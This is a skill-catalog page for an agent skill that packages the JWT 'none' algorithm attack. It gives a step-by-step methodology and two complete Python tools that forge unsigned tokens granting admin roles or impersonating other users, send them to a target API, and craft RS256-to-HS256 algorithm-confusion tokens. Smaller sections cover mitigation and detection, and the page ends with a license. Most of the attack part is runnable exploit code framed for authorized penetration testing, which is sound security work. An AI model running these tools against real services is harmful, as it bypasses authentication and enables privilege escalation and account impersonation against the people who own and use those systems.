
Performing Jwt None Algorithm Attack
- 64 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
performing-jwt-none-algorithm-attack is a Claude Code skill in the AI & Agent Building category.
- performing-jwt-none-algorithm-attack
- AI & Agent Building
- AI-coding skill
Performing Jwt None Algorithm Attack by the numbers
- 64 all-time installs (skills.sh)
- Ranked #6,129 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 64 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Performing JWT None Algorithm Attack
Overview
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
When to Use
- When conducting security assessments that involve performing jwt none algorithm attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Target application using JWT for authentication or authorization
- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
- Python 3.8+ with PyJWT library for token crafting
- Understanding of JWT structure (Header.Payload.Signature)
- Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
JWT Structure
A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # SignatureAttack Methodology
Step 1: Capture a Valid JWT
Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cStep 2: Decode and Analyze the Token
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}Step 3: Craft a Forged Token with None Algorithm
#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# All known variations of the 'none' algorithm value
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decode JWT header and payload."""
parts = token.split('.')
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""Craft a JWT with the none algorithm and modified payload."""
# Create header with none algorithm
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# Encode modified payload
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Token with empty signature (just trailing dot)
return f"{header_encoded}.{payload_encoded}."
def craft_privilege_escalation(self, role_field: str = "role",
admin_value: str = "admin") -> list:
"""Create tokens with escalated privileges using all none variants."""
tokens = []
modified_payload = dict(self.original_payload)
modified_payload[role_field] = admin_value
for variant in self.NONE_VARIANTS:
token = self.craft_none_token(modified_payload, variant)
tokens.append({"variant": variant, "token": token})
return tokens
def craft_user_impersonation(self, target_user_id: str,
user_field: str = "sub") -> str:
"""Create a token impersonating another user."""
modified_payload = dict(self.original_payload)
modified_payload[user_field] = target_user_id
return self.craft_none_token(modified_payload)
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""Test all none algorithm variants against the target."""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant,
"status_code": 0,
"accepted": False,
"error": str(e)
})
return results
def test_empty_signature_variants(self) -> list:
"""Test different empty signature formats."""
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
header = {"alg": "none", "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# Different signature formats
variants = [
f"{header_encoded}.{payload_encoded}.", # Empty signature with trailing dot
f"{header_encoded}.{payload_encoded}", # No trailing dot
f"{header_encoded}.{payload_encoded}.AA==", # Minimal base64 signature
]
results = []
for token in variants:
results.append({"token_format": token[-20:], "token": token})
return results
def main():
if len(sys.argv) < 3:
print("Usage: python jwt_none_attack.py <target_url> <original_token>")
print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
sys.exit(1)
target_url = sys.argv[1]
original_token = sys.argv[2]
attacker = JWTNoneAttack(target_url, original_token)
print(f"\nOriginal Token Header: {attacker.original_header}")
print(f"Original Token Payload: {attacker.original_payload}")
print(f"\n{'='*60}")
print("Testing None Algorithm Variants")
print(f"{'='*60}")
results = attacker.test_none_variants()
vulnerable = [r for r in results if r.get("accepted")]
if vulnerable:
print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
print("[!] The server does not properly validate JWT signatures")
else:
print(f"\n[+] SECURE: All none algorithm variants were rejected")
if __name__ == "__main__":
main()Step 4: Additional JWT Attack Variants
Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can: 1. Change alg to HS256 2. Sign the token using the public key as the HMAC secret 3. The server may verify the signature using its public key as an HMAC key
JWK Header Injection (CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker-controlled-key>",
"e": "AQAB"
}
}Mitigation Strategies
# Secure JWT verification - always specify allowed algorithms
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""Verify JWT with explicit algorithm allowlist."""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # CRITICAL: Explicit allowlist
options={
"require": ["exp", "iat", "sub"], # Required claims
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm")
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")Detection Indicators
- JWT tokens with
"alg": "none"(or case variations) in server logs - Tokens with empty or missing signature segments
- Sudden change in algorithm field from normal patterns
- Tokens with modified claims (role escalation) from the same session
- Authorization header containing tokens with only two Base64 segments
References
- OWASP JWT Testing Guide: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
- Auth0 JWT Vulnerability Disclosure: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- PortSwigger JWT None Algorithm: https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
- HackTricks JWT Vulnerabilities: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
- Invicti JWT Signature Bypass: https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/jwt-signature-bypass-via-none-algorithm
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference — Performing JWT None Algorithm Attack
Libraries Used
- base64: Base64url encoding/decoding for JWT components
- hmac / hashlib: HMAC-SHA256 signing for algorithm confusion attacks
- json: JWT header/payload serialization
- requests (optional): Test forged tokens against live endpoints
CLI Interface
python agent.py decode --token <jwt_string>
python agent.py forge --token <jwt_string> [--claims '{"role":"admin"}']
python agent.py confuse --token <jwt_string> [--pubkey public.pem]
python agent.py test --url <api_endpoint> --token <original_jwt>Core Functions
decode_jwt(token) — Decode JWT without verification
Returns header, payload, and vulnerability checks: alg=none, no expiry, expired, no issuer.
forge_none_token(token, modify_claims) — Create alg=none variants
Generates 6 variants: none, None, NONE, nOnE, empty signature, no trailing dot.
test_alg_confusion(token, public_key_file) — Algorithm confusion attack
Tests RS256-to-HS256 downgrade using RSA public key as HMAC secret.
test_jwt_endpoint(url, original_token, forged_tokens) — Validate against API
Sends forged tokens to target endpoint. Reports CRITICAL if any variant accepted.
JWT None Variants Tested
| Variant | Algorithm Header |
|---|---|
| alg_none | "alg": "none" |
| alg_None | "alg": "None" |
| alg_NONE | "alg": "NONE" |
| alg_nOnE | "alg": "nOnE" |
| empty_sig | No signature segment |
Severity Classification
- CRITICAL: Any none-algorithm token accepted by server
- INFO: All forged tokens rejected
Dependencies
pip install requests # optional, for endpoint testing#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing JWT 'none' algorithm attack testing."""
import json
import argparse
import base64
import hmac
import hashlib
from datetime import datetime
def b64url_encode(data):
"""Base64url encode bytes."""
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def b64url_decode(s):
"""Base64url decode string."""
s += "=" * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
def decode_jwt(token):
"""Decode and display JWT components without verification."""
parts = token.split(".")
if len(parts) not in (2, 3):
return {"error": "Invalid JWT format — expected 2 or 3 parts"}
header = json.loads(b64url_decode(parts[0]))
payload = json.loads(b64url_decode(parts[1]))
signature = parts[2] if len(parts) == 3 else ""
vuln_checks = {
"alg_none_in_header": header.get("alg", "").lower() in ("none", ""),
"alg_symmetric": header.get("alg", "").startswith("HS"),
"no_expiry": "exp" not in payload,
"expired": payload.get("exp", float("inf")) < datetime.utcnow().timestamp() if "exp" in payload else False,
"no_issuer": "iss" not in payload,
}
return {"header": header, "payload": payload, "signature_present": bool(signature), "vulnerability_checks": vuln_checks}
def forge_none_token(token, modify_claims=None):
"""Forge a JWT with 'none' algorithm (removes signature)."""
parts = token.split(".")
payload = json.loads(b64url_decode(parts[0]))
claims = json.loads(b64url_decode(parts[1]))
if modify_claims:
claims.update(modify_claims)
none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
new_payload = b64url_encode(json.dumps(claims).encode())
variants = [
{"name": "alg_none", "token": f"{none_header}.{new_payload}."},
{"name": "alg_None", "token": f"{b64url_encode(json.dumps({'alg': 'None', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "alg_NONE", "token": f"{b64url_encode(json.dumps({'alg': 'NONE', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "alg_nOnE", "token": f"{b64url_encode(json.dumps({'alg': 'nOnE', 'typ': 'JWT'}).encode())}.{new_payload}."},
{"name": "empty_sig", "token": f"{none_header}.{new_payload}"},
{"name": "no_dot", "token": f"{none_header}.{new_payload}"},
]
return {
"original_claims": json.loads(b64url_decode(parts[1])),
"modified_claims": claims,
"forged_tokens": variants,
}
def test_alg_confusion(token, public_key_file=None):
"""Test algorithm confusion (RS256 -> HS256 using public key as HMAC secret)."""
parts = token.split(".")
header = json.loads(b64url_decode(parts[0]))
claims = json.loads(b64url_decode(parts[1]))
results = {"original_alg": header.get("alg"), "tests": []}
if public_key_file:
try:
pubkey = open(public_key_file, "rb").read()
hs256_header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload_b64 = b64url_encode(json.dumps(claims).encode())
signing_input = f"{hs256_header}.{payload_b64}".encode()
signature = b64url_encode(hmac.new(pubkey, signing_input, hashlib.sha256).digest())
results["tests"].append({
"name": "RS256_to_HS256_confusion",
"forged_token": f"{hs256_header}.{payload_b64}.{signature}",
"description": "Uses RSA public key as HMAC-SHA256 secret",
})
except Exception as e:
results["tests"].append({"name": "RS256_to_HS256_confusion", "error": str(e)})
none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload_b64 = b64url_encode(json.dumps(claims).encode())
results["tests"].append({
"name": "alg_none_downgrade",
"forged_token": f"{none_header}.{payload_b64}.",
"description": "Downgrade to 'none' algorithm — removes signature",
})
return results
def test_jwt_endpoint(url, original_token, forged_tokens, headers=None):
"""Test forged JWTs against a target endpoint."""
try:
import requests
except ImportError:
return {"error": "requests not installed"}
hdrs = headers or {}
results = []
for ft in forged_tokens:
test_headers = {**hdrs, "Authorization": f"Bearer {ft['token']}"}
try:
resp = requests.get(url, headers=test_headers, timeout=10)
accepted = resp.status_code in (200, 201, 204)
results.append({
"variant": ft["name"], "status": resp.status_code,
"accepted": accepted, "body_snippet": resp.text[:200],
})
except Exception as e:
results.append({"variant": ft["name"], "error": str(e)})
orig_resp = None
try:
resp = requests.get(url, headers={**hdrs, "Authorization": f"Bearer {original_token}"}, timeout=10)
orig_resp = {"status": resp.status_code, "body_length": len(resp.text)}
except Exception:
pass
vulnerable = [r for r in results if r.get("accepted")]
return {
"url": url, "original_response": orig_resp,
"tests": results, "vulnerable_variants": len(vulnerable),
"finding": "JWT_NONE_VULNERABLE" if vulnerable else "JWT_NONE_REJECTED",
"severity": "CRITICAL" if vulnerable else "INFO",
}
def main():
parser = argparse.ArgumentParser(description="JWT None Algorithm Attack Agent")
sub = parser.add_subparsers(dest="command")
d = sub.add_parser("decode", help="Decode JWT token")
d.add_argument("--token", required=True)
f = sub.add_parser("forge", help="Forge none-algorithm token")
f.add_argument("--token", required=True)
f.add_argument("--claims", help="JSON claims to modify")
c = sub.add_parser("confuse", help="Test algorithm confusion")
c.add_argument("--token", required=True)
c.add_argument("--pubkey", help="RSA public key file for HS256 confusion")
t = sub.add_parser("test", help="Test forged tokens against endpoint")
t.add_argument("--url", required=True)
t.add_argument("--token", required=True)
args = parser.parse_args()
if args.command == "decode":
result = decode_jwt(args.token)
elif args.command == "forge":
claims = json.loads(args.claims) if args.claims else None
result = forge_none_token(args.token, claims)
elif args.command == "confuse":
result = test_alg_confusion(args.token, args.pubkey)
elif args.command == "test":
forged = forge_none_token(args.token)
result = test_jwt_endpoint(args.url, args.token, forged["forged_tokens"])
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()